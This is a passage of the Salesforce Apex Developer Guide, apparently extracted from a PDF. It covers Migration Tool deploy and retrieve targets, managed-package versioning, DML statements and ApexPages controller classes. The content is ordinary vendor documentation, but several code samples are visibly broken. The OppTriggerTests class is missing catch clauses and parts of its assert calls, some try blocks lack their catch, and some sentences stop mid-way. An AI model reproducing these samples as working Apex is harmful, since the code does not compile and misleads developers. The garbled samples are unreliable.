version of the tool and copied ant-salesforce.jar to the Ant lib directory, delete the previous jar file. The lib directory
is located in the root folder of your Ant installation. You don’t need to copy the new jar file to the Ant lib directory.
8. Open the sample subdirectory in the unzipped file.
9. Edit the build.properties file:
a. Enter your Salesforce production organization username and password for the sf.user and sf.password fields,
respectively.
Note:
• The username you specify should have the authority to edit Apex.
609
• If you are using the Force.com Migration Tool from an untrusted network, append a security token to the password.
To learn more about security tokens, see “Reset Your Security Token” in the Salesforce online help.
b. If you are deploying to a sandbox organization, change the sf.serverurl field to https://test.salesforce.com.
10. Open a command window in the sample directory.

11. Enter ant deployCode. This runs the deploy API call, using the sample class and Account trigger provided with the Force.com
Migration Tool.
The ant deployCode calls the Ant target named deploy in the build.xml file.

<target name="deployCode">

<sf:deploy username="${sf.username}" password="${sf.password}"
serverurl="${sf.serverurl}" deployroot="codepkg">
<runTest>SampleDeployClass</runTest>
</sf:deploy>
</target>
For more information, see Understanding deploy on page 610.
12. To remove the test class and trigger added as part of the execution of ant deployCode, enter the following in the command
window: ant undeployCode.
ant undeployCode calls the Ant target named undeployCode in the build.xml file.
<target name="undeployCode">
<sf:deploy username="${sf.username}" password="${sf.password}" serverurl=
"${sf.serverurl}" deployroot="removecodepkg"/>
</target>
See the Force.com Migration Tool Guide for full details about the Force.com Migration Tool.
IN THIS SECTION:
1. Understanding deploy
2. Understanding retrieve
Understanding deploy
The Force.com Migration Tool provides the deploy task, which can be incorporated into your deployment scripts. You can modify
the build.xml sample to include your organization's classes and triggers. For a complete list of properties for the deploy task, see
the Force.com Migration Tool Guide. Some properties of the deploy task are:
username
The username for logging into the Salesforce production organization.
password
The password associated for logging into the Salesforce production organization.
serverURL
The URL for the Salesforce server you are logging into. If you do not specify a value, the default is login.salesforce.com.
610
deployRoot
The local directory that contains the Apex classes and triggers, as well as any other metadata, that you want to deploy. The best way
to create the necessary file structure is to retrieve it from your organization or sandbox. See Understanding retrieve on page 612 for
more information.
• Apex class files must be in a subdirectory named classes. You must have two files for each class, named as follows:
– classname.cls
– classname.cls-meta.xml
For example, MyClass.cls and MyClass.cls-meta.xml. The -meta.xml file contains the API version and the status
(active/inactive) of the class.
• Apex trigger files must be in a subdirectory named triggers. You must have two files for each trigger, named as follows:
– triggername.trigger
– triggername.trigger-meta.xml
For example, MyTrigger.trigger and MyTrigger.trigger-meta.xml. The -meta.xml file contains the API
version and the status (active/inactive) of the trigger.
• The root directory contains an XML file package.xml that lists all the classes, triggers, and other objects to be deployed.
• The root directory optionally contains an XML file destructiveChanges.xml that lists all the classes, triggers, and other
objects to be deleted from your organization.
checkOnly
Specifies whether the classes and triggers are deployed to the target environment or not. This property takes a Boolean value: true
if you do not want to save the classes and triggers to the organization, false otherwise. If you do not specify a value, the default
is false.
runTest
Optional child elements. A list of Apex classes containing tests run after deployment. To use this option, set testLevel to
RunSpecifiedTests.
testLevel
Optional. Specifies which tests are run as part of a deployment. The test level is enforced regardless of the types of components that
are present in the deployment package. Valid values are:
• NoTestRun—No tests are run. This test level applies only to deployments to development environments, such as sandbox,
Developer Edition, or trial organizations. This test level is the default for development environments.
• RunSpecifiedTests—Only the tests that you specify in the runTests option are run. Code coverage requirements
differ from the default coverage requirements when using this test level. Each class and trigger in the deployment package must
be covered by the executed tests for a minimum of 75% code coverage. This coverage is computed for each class and trigger
individually and is different than the overall coverage percentage.
• RunLocalTests—All tests in your org are run, except the ones that originate from installed managed packages. This test
level is the default for production deployments that include Apex classes or triggers.
• RunAllTestsInOrg—All tests are run. The tests include all tests in your org, including tests of managed packages.
If you don’t specify a test level, the default test execution behavior is used. See “Running Tests in a Deployment” in the Metadata API
Developer’s Guide.
This field is available in API version 34.0 and later.
runAllTests
(Deprecated and available only in API version 33.0 and earlier.) This parameter is optional and defaults to false. Set to true to
run all Apex tests after deployment, including tests that originate from installed managed packages.
611
Understanding retrieve
Use the retrieveCode target to retrieve classes and triggers from your sandbox or production organization. During the normal
deploy cycle, you would run retrieveCode prior to deploy, in order to obtain the correct directory structure for your new classes
and triggers. However, for this example, deploy is used first, to ensure that there is something to retrieve.
To retrieve classes and triggers from an existing organization, use the retrieve ant task as illustrated by the sample build target ant
retrieveCode:
<target name="retrieveCode">

<sf:retrieve username="${sf.username}" password="${sf.password}"
serverurl="${sf.serverurl}" retrieveTarget="codepkg"
unpackaged="codepkg/package.xml"/>
</target>
The file codepkg/package.xml lists the metadata components to be retrieved. In this example, it retrieves two classes and one
trigger. The retrieved files are put into the directory codepkg, overwriting everything already in the directory.
The properties for the retrieve task are as follows:
Field Description
username Required if sessionId isn’t specified. The Salesforce username used for login. The
username associated with this connection must have the “Modify All Data” permission.
Typically, this permission is enabled only for System Administrator users.
password Required if sessionId isn’t specified. The password you use to log in to the organization
associated with this project. If you are using a security token, paste the 25-digit token value
to the end of your password.
sessionId Required if username and password aren’t specified. The ID of an active Salesforce
session or the OAuth access token. A session is created after a user logs in to Salesforce
successfully with a username and password. Use a session ID for logging in to an existing
session instead of creating a new session. Alternatively, use an access token for OAuth
authentication. For more information, see Authenticating Apps with OAuth in the Salesforce
Help.
serverurl Optional. The Salesforce server URL (if blank, defaults to login.salesforce.com).
To connect to a sandbox instance, change this value to test.salesforce.com.
retrieveTarget Required. The root of the directory structure into which the metadata files are retrieved.
packageNames Required if unpackaged is not specified. A comma-separated list of the names of the
packages to retrieve. Specify either packageNames or unpackaged, but not both.
apiVersion Optional. The Metadata API version to use for the retrieved metadata files. The default is
41.0.
pollWaitMillis Optional. Defaults to 10000. The number of milliseconds to wait between attempts when
polling for results of the retrieve request. The client continues to poll the server up to the
limit defined by maxPoll.
612
Apex Developer Guide Distributing Apex Using Managed Packages
Field Description
maxPoll Optional. Defaults to 200. The number of times to poll the server for the results of the
retrieve request. The wait time between successive poll attempts is defined by
pollWaitMillis.
singlePackage Optional. Defaults to true. Set this parameter to false if you are retrieving multiple
packages. If set to false, the retrieved zip file includes an extra top-level directory
containing a subdirectory for each package.
trace Optional. Defaults to false. Prints the SOAP requests and responses to the console. Note
that this will show the user's password in plain text during login.
unpackaged Required if packageNames is not specified. The path and name of a file manifest that
specifies the components to retrieve. Specify either unpackaged or packageNames,
but not both.
unzip Optional. Defaults to true. If set to true, the retrieved components are unzipped. If set
to false, the retrieved components are saved as a zip file in the retrieveTarget
directory.
Using SOAP API to Deploy Apex

If you do not want to use the Force.com IDE, change sets, or the Force.com Migration Tool to deploy Apex, you can use the following
SOAP API calls to deploy your Apex to a development or sandbox organization:
• compileAndTest()
• compileClasses()
• compileTriggers()
All these calls take Apex code that contains the class or trigger, as well as the values for any fields that need to be set.
Distributing Apex Using Managed Packages

As an ISV or Salesforce partner, you can distribute Apex code to customer organizations using packages. Here we'll describe packages
and package versioning.
IN THIS SECTION:
1. What is a Package?
2. Package Versions
3. Deprecating Apex
4. Behavior in Package Versions
What is a Package?
A package is a container for something as small as an individual component or as large as a set of related apps. After creating a package,
you can distribute it to other Salesforce users and organizations, including those outside your company. An organization can create a
single managed package that can be downloaded and installed by many different organizations. Managed packages differ from
613
unmanaged packages by having some locked components, allowing the managed package to be upgraded later. Unmanaged packages
do not include locked components and cannot be upgraded.
Package Versions
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release.
Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version
has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package
versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.
When an existing subscriber installs a new package version, there is still only one instance of each component in the package, but the
components can emulate older versions. For example, a subscriber may be using a managed package that contains an Apex class. If the
publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber still sees only one instance
of the Apex class after installing the new version. However, this Apex class can still emulate the previous version for any code that
references the deprecated method in the older version.
Note the following when developing Apex in managed packages:
• The code contained in an Apex class, trigger, or Visualforce component that’s part of a managed package is obfuscated and can’t
be viewed in an installing org. The only exceptions are methods declared as global. You can view global method signatures in an
installing org. In addition, License Management Org users with the View and Debug Managed Apex permission can view their
packages’ obfuscated Apex classes when logged in to subscriber orgs via the Subscriber Support Console.
• Managed packages receive a unique namespace. This namespace is prepended to your class names, methods, variables, and so on,
which helps prevent duplicate names in the installer’s org.
• In a single transaction, you can only reference 10 unique namespaces. For example, suppose you have an object that executes a
class in a managed package when the object is updated. Then that class updates a second object, which in turn executes a different
class in a different package. Even though the second package wasn’t accessed directly by the first, because it occurs in the same
transaction, it’s included in the number of namespaces being accessed in a single transaction.
• Package developers can use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, and variables
that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you are
refactoring code in managed packages as the requirements evolve.
• You can write test methods that change the package version context to a different package version by using the system method
runAs.
• You cannot add a method to a global interface or an abstract method to a global class after the interface or class has been uploaded
in a Managed - Released package version. If the class in the Managed - Released package is virtual, the method that you can add to
it must also be virtual and must have an implementation.
• Apex code contained in an unmanaged package that explicitly references a namespace cannot be uploaded.
Deprecating Apex
Package developers can use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, and variables
that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you are
refactoring code in managed packages as the requirements evolve. After you upload another package version as Managed - Released,
new subscribers that install the latest package version cannot see the deprecated elements, while the elements continue to function
for existing subscribers and API integrations. A deprecated item, such as a method or a class, can still be referenced internally by the
package developer.
614
Note: You cannot use the deprecated annotation in Apex classes or triggers in unmanaged packages.
Package developers can use Managed - Beta package versions for evaluation and feedback with a pilot set of users in different Salesforce
organizations. If a developer deprecates an Apex identifier and then uploads a version of the package as Managed - Beta, subscribers
that install the package version still see the deprecated identifier in that package version. If the package developer subsequently uploads
a Managed - Released package version, subscribers will no longer see the deprecated identifier in the package version after they install
it.
Behavior in Package Versions

A package component can exhibit different behavior in different package versions. This behavior versioning allows you to add new
components to your package and refine your existing components, while still ensuring that your code continues to work seamlessly for
existing subscribers. If a package developer adds a new component to a package and uploads a new package version, the new component
is available to subscribers that install the new package version.
IN THIS SECTION:
1. Versioning Apex Code Behavior
2. Apex Code Items that Are Not Versioned
3. Testing Behavior in Package Versions
Versioning Apex Code Behavior

Package developers can use conditional logic in Apex classes and triggers to exhibit different behavior for different versions. This allows
the package developer to continue to support existing behavior in classes and triggers in previous package versions while continuing
to evolve the code.
When subscribers install multiple versions of your package and write code that references Apex classes or triggers in your package, they
must select the version they are referencing. Within the Apex code that is being referenced in your package, you can conditionally
execute different code paths based on the version setting of the calling Apex code that is making the reference. The package version
setting of the calling code can be determined within the package code by calling the System.requestVersion method. In this
way, package developers can determine the request context and specify different behavior for different versions of the package.
The following sample uses the System.requestVersion method and instantiates the System.Version class to define
different behaviors in an Apex trigger for different package versions.
trigger oppValidation on Opportunity (before insert, before update) {
for (Opportunity o : Trigger.new){
// Add a new validation to the package

// Applies to versions of the managed package greater than 1.0
if (System.requestVersion().compareTo(new Version(1,0)) > 0) {
if (o.Probability >= 50 && o.Description == null) {
o.addError('All deals over 50% require a description');
}
}
// Validation applies to all versions of the managed package.

if (o.IsWon == true && o.LeadSource == null) {
o.addError('A lead source must be provided for all Closed Won deals');
}
615
}
}
For a full list of methods that work with package versions, see Version Class and the System.requestVersion method in System
Class.
The request context is persisted if a class in the installed package invokes a method in another class in the package. For example, a
subscriber has installed a GeoReports package that contains CountryUtil and ContinentUtil Apex classes. The subscriber creates a new
GeoReportsEx class and uses the version settings to bind it to version 2.3 of the GeoReports package. If GeoReportsEx invokes a method
in ContinentUtil which internally invokes a method in CountryUtil, the request context is propagated from ContinentUtil to CountryUtil
and the System.requestVersion method in CountryUtil returns version 2.3 of the GeoReports package.
Apex Code Items that Are Not Versioned

You can change the behavior of some Apex items across package versions. For example, you can deprecate a method so that new
subscribers can no longer reference the package in a subsequent version.
However, the following list of modifiers, keywords, and annotations cannot be versioned. If a package developer makes changes to one
of the following modifiers, keywords, or annotations, the changes are reflected across all package versions.
There are limitations on the changes that you can make to some of these items when they are used in Apex code in managed packages.
Package developers can add or remove the following items:
• @future
• @isTest
• with sharing
• without sharing
• transient
Package developers can make limited changes to the following items:
• private—can be changed to global
• public—can be changed to global
• protected—can be changed to global
• abstract—can be changed to virtual but cannot be removed
• final—can be removed but cannot be added
Package developers cannot remove or change the following items:
• global
• virtual
Package developers can add the webservice keyword, but once it has been added, it cannot be removed.
Note: You cannot deprecate webservice methods or variables in managed package code.
Testing Behavior in Package Versions

When you change the behavior in an Apex class or trigger for different package versions, it is important to test that your code runs as
expected in the different package versions. You can write test methods that change the package version context to a different package
version by using the system method runAs. You can only use runAs in a test method.
616
The following sample shows a trigger with different behavior for different package versions.
trigger oppValidation on Opportunity (before insert, before update) {
for (Opportunity o : Trigger.new){
// Add a new validation to the package

// Applies to versions of the managed package greater than 1.0
if (System.requestVersion().compareTo(new Version(1,0)) > 0) {
if (o.Probability >= 50 && o.Description == null) {
o.addError('All deals over 50% require a description');
}
}
// Validation applies to all versions of the managed package.

if (o.IsWon == true && o.LeadSource == null) {
o.addError('A lead source must be provided for all Closed Won deals');
}
}
}
The following test class uses the runAs method to verify the trigger's behavior with and without a specific version:
@isTest
private class OppTriggerTests{
static testMethod void testOppValidation(){
// Set up 50% opportunity with no description

Opportunity o = new Opportunity();
o.Name = 'Test Job';
o.Probability = 50;
o.StageName = 'Prospect';
o.CloseDate = System.today();
// Test running as latest package version

try{
insert o;
}
catch(System.DMLException e){
System.assert(
e.getMessage().contains(
'All deals over 50% require a description'),
e.getMessage());
}
// Run test as managed package version 1.0

System.runAs(new Version(1,0)){
try{
insert o;
}
System.assert(false, e.getMessage());
}
}
617
Apex Developer Guide Apex Language Reference
// Set up a closed won opportunity with no lead source

o = new Opportunity();
o.Name = 'Test Job';
o.Probability = 50;
o.StageName = 'Prospect';
o.CloseDate = System.today();
o.StageName = 'Closed Won';
// Test running as latest package version

try{
insert o;
}
System.assert(
'A lead source must be provided for all Closed Won deals'),
e.getMessage());
}
// Run test as managed package version 1.0

System.runAs(new Version(1,0)){
try{
insert o;
}
System.assert(
'A lead source must be provided for all Closed Won deals'),
e.getMessage());
}
}
}
}
Apex Language Reference

This Apex reference goes into detail about DML statements and the built-in Apex classes and interfaces.
DML statements are part of the Apex programming language. You can use them to insert, update, merge, delete, and restore data in
Salesforce.
Apex classes and interfaces are grouped by the namespaces they’re contained in. For example, the Database class is in the System
namespace. To find static methods of the Database system class, such as the insert method, nagivate to System Namespace >
Database Class. The result classes associated with the Database methods, such as Database.SaveResult, are part of the
Database namespace and are listed under Database Namespace.
SOAP API methods and objects are also available for Apex. See SOAP API and SOAP Headers for Apex.
618
Apex Developer Guide Apex Language Reference
IN THIS SECTION:
Apex DML Operations
You can perform DML operations using the Apex DML statements or the methods of the Database class. For lead conversion,
use the convertLead method of the Database class. There is no DML counterpart for it.
ApexPages Namespace
The ApexPages namespace provides classes used in Visualforce controllers.
AppLauncher Namespace
The AppLauncher namespace provides methods for managing the appearance of apps in the App Launcher, including their
visibility and sort order.
Approval Namespace
The Approval namespace provides classes and methods for approval processes.
Auth Namespace
The Auth namespace provides an interface and classes for single sign-on into Salesforce and session security management.
Cache Namespace
The Cache namespace contains methods for managing the platform cache.
Canvas Namespace
The Canvas namespace provides an interface and classes for canvas apps in Salesforce.
ChatterAnswers Namespace
The ChatterAnswers namespace provides an interface for creating Account records.
The ConnectApi namespace (also called Chatter in Apex) provides classes for accessing the same data available in Chatter REST
API. Use Chatter in Apex to create custom Chatter experiences in Salesforce.
Database Namespace
The Database namespace provides classes used with DML operations.
Datacloud Namespace
The Datacloud namespace provides classes and methods for retrieving information about duplicate rules. Duplicate rules let
you control whether and when users can save duplicate records within Salesforce.
DataSource Namespace
The DataSource namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to
develop a custom adapter for Salesforce Connect. Then connect your Salesforce organization to any data anywhere via the Salesforce
Connect custom adapter.
Dom Namespace
The Dom namespace provides classes and methods for parsing and creating XML content.
EventBus Namespace
Contains a class used for platform event triggers.
Flow Namespace
The Flow namespace provides a class for advanced Visualforce controller access to flows.
KbManagement Namespace
The KbManagement namespace provides a class for managing knowledge articles.
Messaging Namespace
The Messaging namespace provides classes and methods for Salesforce outbound and inbound email functionality.
619
Apex Developer Guide Apex DML Operations
Metadata Namespace
The Metadata namespace provides classes and methods for working with custom metadata in Salesforce
Process Namespace
The Process namespace provides an interface and classes for passing data between your organization and a flow.
QuickAction Namespace
The QuickAction namespace provides classes and methods for quick actions.
Reports Namespace
The Reports namespace provides classes for accessing the same data as is available in the Salesforce Reports and Dashboards
REST API.
Schema Namespace
The Schema namespace provides classes and methods for schema metadata information.
Search Namespace
The Search namespace provides classes for getting search results and suggestion results.
Sfc Namespace
The Sfc namespace contains classes used in Salesforce Files.
Site Namespace
The Site namespace provides an interface for rewriting Sites URLs.
Support Namespace
The Support namespace provides an interface used for Case Feed.
System Namespace
The System namespace provides classes and methods for core Apex functionality.
TerritoryMgmt Namespace
The TerritoryMgmt namespace provides an interface used for territory management.
TxnSecurity Namespace
The TxnSecurity namespace provides an interface used for transaction security.
UserProvisioning Namespace
The UserProvisioning namespace provides methods for monitoring outbound user provisioning requests.
VisualEditor Namespace
The VisualEditor namespace provides classes and methods for interacting with the Lightning App Builder.
wave Namespace
The classes in the Wave namespace are part of the Wave Analytics SDK, designed to facilitate quering Wave data from Apex code.
Apex DML Operations

You can perform DML operations using the Apex DML statements or the methods of the Database class. For lead conversion, use
the convertLead method of the Database class. There is no DML counterpart for it.
SEE ALSO:
Database Class
620
Apex DML Statements

Use Data Manipulation Language (DML) statements to insert, update, merge, delete, and restore data in Salesforce.
The following Apex DML statements are available:
Insert Statement
The insert DML operation adds one or more sObjects, such as individual accounts or contacts, to your organization’s data. insert
is analogous to the INSERT statement in SQL.
Syntax
insert sObject
insert sObject[]
Example
The following example inserts an account named 'Acme':
Account newAcct = new Account(name = 'Acme');
try {
insert newAcct;
}
Update Statement
The update DML operation modifies one or more existing sObject records, such as individual accounts or contactsinvoice statements,
in your organization’s data. update is analogous to the UPDATE statement in SQL.
Syntax
update sObject
update sObject[]
Example
The following example updates the BillingCity field on a single account named 'Acme':
Account a = new Account(Name='Acme2');
insert(a);
Account myAcct = [SELECT Id, Name, BillingCity FROM Account WHERE Id = :a.Id];
myAcct.BillingCity = 'San Francisco';
try {
update myAcct;
621

}
Upsert Statement
The upsert DML operation creates new records and updates sObject records within a single statement, using a specified field to
determine the presence of existing objects, or the ID field if no field is specified.
Syntax
upsert sObject [opt_field]
upsert sObject[] [opt_field]
The upsert statement matches the sObjects with existing records by comparing values of one field. If you don’t specify a field when
calling this statement, the upsert statement uses the sObject’s ID to match the sObject with existing records in Salesforce. Alternatively,
you can specify a field to use for matching. For custom objects, specify a custom field marked as external ID. For standard objects, you
can specify any field that has the idLookup attribute set to true. For example, the Email field of Contact or User has the idLookup
attribute set. To check a field’s attribute, see the Object Reference for Salesforce and Force.com.
Also, you can use foreign keys to upsert sObject records if they have been set as reference fields. For more information, see Field Types
in the Object Reference for Salesforce and Force.com.
The optional field parameter, opt_field, is a field token (of type Schema.SObjectField). For example, to specify the
MyExternalID custom field, the statement is:
upsert sObjectList Account.Fields.MyExternalId__c;
If the field used for maching doesn’t have the Unique attribute set, the context user must have the “View All” object-level permission
for the target object or the “View All Data” permission so that upsert does not accidentally insert a duplicate record.
Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate
values (case insensitive) attributes selected as part of the field definition. If this is the case, “ABC123” is matched with “abc123.”
For more information, see “Create Custom Fields” in the Salesforce online help.
How Upsert Chooses to Insert or Update

Upsert uses the sObject record's primary key (the ID), an idLookup field, or an external ID field to determine whether it should create a
new record or update an existing one:
• If the key is not matched, a new object record is created.
• If the key is matched once, the existing object record is updated.
• If the key is matched multiple times, an error is generated and the object record is neither inserted or updated.
Example
This example performs an upsert of a list of accounts.
// Fill the accounts list with some accounts
try {
622
upsert acctList;
This next example performs an upsert of a list of accounts using a foreign key for matching existing records, if any.
// Fill the accounts list with some accounts
try {
// Upsert using an external ID field
upsert acctList myExtIDField__c;
Delete Statement
The delete DML operation deletes one or more existing sObject records, such as individual accounts or contacts, from your organization’s
data. delete is analogous to the delete() statement in the SOAP API.
Syntax
delete sObject
delete sObject[]
Example
The following example deletes all accounts that are named 'DotCom':
Account[] doomedAccts = [SELECT Id, Name FROM Account
WHERE Name = 'DotCom'];
try {
delete doomedAccts;
}
Undelete Statement
The undelete DML operation restores one or more existing sObject records, such as individual accounts or contacts, from your
organization’s Recycle Bin. undelete is analogous to the UNDELETE statement in SQL.
Syntax
undelete sObject | ID
undelete sObject[] | ID[]
623
Example
The following example undeletes an account named 'Universal Containers’. The ALL ROWS keyword queries all rows for both top
level and aggregate relationships, including deleted records and archived activities.
Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Universal Containers'
ALL ROWS];
try {
undelete savedAccts;
}
Merge Statement
The merge statement merges up to three records of the same sObject type into one of the records, deleting the others, and re-parenting
any related records.
Note: This DML operation does not have a matching Database system method.
Syntax
merge sObject sObject
merge sObject sObject[]
merge sObject ID
merge sObject ID[]
The first parameter represents the master record into which the other records are to be merged. The second parameter represents the
one or two other records that should be merged and then deleted. You can pass these other records into the merge statement as a
single sObject record or ID, or as a list of two sObject records or IDs.
Example
The following example merges two accounts named 'Acme Inc.' and 'Acme' into a single record:
List<Account> ls = new List<Account>{new Account(name='Acme Inc.'),new Account(name='Acme')};
insert ls;
Account masterAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
Account mergeAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
try {
merge masterAcct mergeAcct;
}
624
Apex Developer Guide ApexPages Namespace
ApexPages Namespace
The ApexPages namespace provides classes used in Visualforce controllers.
The following are the classes in the ApexPages namespace.
IN THIS SECTION:
Action Class
You can use ApexPages.Action to create an action method that you can use in a Visualforce custom controller or controller
extension.
Component Class
Represents a dynamic Visualforce component in Apex.
IdeaStandardController Class
IdeaStandardController objects offer Ideas-specific functionality in addition to what is provided by the
StandardController.
IdeaStandardSetController Class
IdeaStandardSetController objects offer Ideas-specific functionality in addition to what is provided by the
StandardSetController.
KnowledgeArticleVersionStandardController Class
KnowledgeArticleVersionStandardController objects offer article-specific functionality in addition to what is
provided by the StandardController.
Message Class
Contains validation errors that occur when the end user saves the page when using a standard controller.
StandardController Class
Use a StandardController when defining an extension for a standard controller.
StandardSetController Class
StandardSetController objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce
list controllers provided by Salesforce.
Action Class
You can use ApexPages.Action to create an action method that you can use in a Visualforce custom controller or controller
extension.
Namespace
ApexPages
Usage
For example, you could create a saveOver method on a controller extension that performs a custom save.
625
Instantiation
The following code snippet illustrates how to instantiate a new ApexPages.Action object that uses the save action:
ApexPages.Action saveAction = new ApexPages.Action('{!save}');
IN THIS SECTION:
Action Constructors
Action Methods
Action Constructors
The following are constructors for Action.
IN THIS SECTION:
Action(action)
Creates a new instance of the ApexPages.Action class using the specified action.
Action(action)
Creates a new instance of the ApexPages.Action class using the specified action.
Signature
public Action(String action)
Parameters
action
Type: String
The action.
Action Methods
The following are methods for Action. All are instance methods.
IN THIS SECTION:
getExpression()
Returns the expression that is evaluated when the action is invoked.
invoke()
Invokes the action.
getExpression()
Returns the expression that is evaluated when the action is invoked.
626
Signature
public String getExpression()
Return Value
Type: String
invoke()
Invokes the action.
Signature
public System.PageReference invoke()
Return Value
Type: System.PageReference
Component Class
Represents a dynamic Visualforce component in Apex.
Namespace
ApexPages
Dynamic Component Properties

The following are properties for Component.
IN THIS SECTION:
childComponents
Returns a reference to the child components for the component.
expressions
Sets the content of an attribute using the expression language notation. The notation for this is
expressions.name_of_attribute.
facets
Sets the content of a facet to a dynamic component. The notation for this is facet.name_of_facet.
childComponents
Returns a reference to the child components for the component.
Signature
public List <ApexPages.Component> childComponents {get; set;}
627
Property Value
Type: List<ApexPages.Component>
Example
Component.Apex.PageBlock pageBlk = new Component.Apex.PageBlock();
Component.Apex.PageBlockSection pageBlkSection = new

Component.Apex.PageBlockSection(title='dummy header');
pageBlk.childComponents.add(pageBlkSection);
expressions
Sets the content of an attribute using the expression language notation. The notation for this is expressions.name_of_attribute.
Signature
public String expressions {get; set;}
Property Value
Type: String
Example
Component.Apex.InputField inpFld = new
Component.Apex.InputField();
inpField.expressions.value = '{!Account.Name}';
inpField.expressions.id = '{!$User.FirstName}';
facets
Sets the content of a facet to a dynamic component. The notation for this is facet.name_of_facet.
Signature
public String facets {get; set;}
Property Value
Type: String
Usage
Note: This property is only accessible by components that support facets.
628
Example
Component.Apex.DataTable myDT = new
Component.Apex.DataTable();
ApexPages.Component.OutputText footer = new
Component.Apex.OutputText(value='Footer Copyright');
myDT.facets.footer = footer;
IdeaStandardController Class
IdeaStandardController objects offer Ideas-specific functionality in addition to what is provided by the
StandardController.
Namespace
ApexPages
Usage
A method in the IdeaStandardController object is called by and operated on a particular instance of an IdeaStandardController.
Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through
a limited release program. For information on enabling these classes for your organization, contact your Salesforce representative.
In addition to the methods listed in this class, the IdeaStandardController class inherits all the methods associated with the
StandardController class.
Instantiation
An IdeaStandardController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension
controller when using the standard ideas controller.
Example
The following example shows how an IdeaStandardController object can be used in the constructor for a custom list controller. This
example provides the framework for manipulating the comment list data before displaying it on a Visualforce page.
public class MyIdeaExtension {
private final ApexPages.IdeaStandardController ideaController;
public MyIdeaExtension(ApexPages.IdeaStandardController controller) {

ideaController = (ApexPages.IdeaStandardController)controller;
}
public List<IdeaComment> getModifiedComments() {

IdeaComment[] comments = ideaController.getCommentList();
// modify comments here
return comments;
}
629
The following Visualforce markup shows how the IdeaStandardController example shown above can be used in a page. This page must
be named detailPage for this example to work.
Note: For the Visualforce page to display the idea and its comments, in the following example you need to specify the ID of a
specific idea (for example, /apex/detailPage?id=<ideaID>) whose comments you want to view.

<apex:page standardController="Idea" extensions="MyIdeaExtension">
<apex:pageBlock title="Idea Section">
<ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}">{!idea.title}
</ideas:detailOutputLink>
<br/><br/>
<apex:outputText >{!idea.body}</apex:outputText>
</apex:pageBlock>
<apex:pageBlock title="Comments Section">
<apex:dataList var="a" value="{!modifiedComments}" id="list">
{!a.commentBody}
</apex:dataList>
<ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}"
pageOffset="-1">Prev</ideas:detailOutputLink>
|
<ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}"
pageOffset="1">Next</ideas:detailOutputLink>
</apex:pageBlock>
</apex:page>
SEE ALSO:
IdeaStandardController Methods
The following are instance methods for IdeaStandardController.
IN THIS SECTION:
getCommentList()
Returns the list of read-only comments from the current page.
getCommentList()
Returns the list of read-only comments from the current page.
Signature
public IdeaComment[] getCommentList()
Return Value
Type: IdeaComment[]
This method returns the following comment properties:
• id
630
• commentBody
• createdDate
• createdBy.Id
• createdBy.communityNickname
IdeaStandardSetController Class
IdeaStandardSetController objects offer Ideas-specific functionality in addition to what is provided by the
Namespace
ApexPages
Usage
Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through
a limited release program. For information on enabling these classes for your organization, contact your Salesforce representative.
In addition to the method listed above, the IdeaStandardSetController class inherits the methods associated with the
Note: The methods inherited from the StandardSetController cannot be used to affect the list of ideas returned by
the getIdeaList method.
Instantiation
An IdeaStandardSetController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension
controller when using the standard list controller for ideas.
Example: Displaying a Profile Page

The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller:
public class MyIdeaProfileExtension {
private final ApexPages.IdeaStandardSetController ideaSetController;
public MyIdeaProfileExtension(ApexPages.IdeaStandardSetController controller) {

ideaSetController = (ApexPages.IdeaStandardSetController)controller;
}
public List<Idea> getModifiedIdeas() {

Idea[] ideas = ideaSetController.getIdeaList();
// modify ideas here
return ideas;
}
The following Visualforce markup shows how the IdeaStandardSetController example shown above and the
<ideas:profileListOutputLink> component can display a profile page that lists the recent replies, submitted ideas, and
631
votes associated with a user. Because this example does not identify a specific user ID, the page automatically shows the profile page
for the current logged in user. This page must be named profilePage in order for this example to work:

<apex:page standardController="Idea" extensions="MyIdeaProfileExtension"
recordSetVar="ideaSetVar">
<apex:pageBlock >
<ideas:profileListOutputLink sort="recentReplies" page="profilePage">
Recent Replies</ideas:profileListOutputLink>
|
<ideas:profileListOutputLink sort="ideas" page="profilePage">Ideas Submitted
</ideas:profileListOutputLink>
|
<ideas:profileListOutputLink sort="votes" page="profilePage">Ideas Voted
</ideas:profileListOutputLink>
</apex:pageBlock>
<apex:pageBlock >
<apex:dataList value="{!modifiedIdeas}" var="ideadata">
<ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage">
{!ideadata.title}</ideas:detailoutputlink>
</apex:dataList>
</apex:pageBlock>
</apex:page>
In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that displays
the detail page for a specific idea. This page must be named viewPage in order for this example to work:

<apex:page standardController="Idea">
<ideas:detailOutputLink page="viewPage" ideaId="{!idea.id}">{!idea.title}
<br/><br/>
<apex:outputText>{!idea.body}</apex:outputText>
</apex:pageBlock>
</apex:page>
Example: Displaying a List of Top, Recent, and Most Popular Ideas and Comments
The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller:
Note: You must have created at least one idea for this example to return any ideas.
public class MyIdeaListExtension {

private final ApexPages.IdeaStandardSetController ideaSetController;
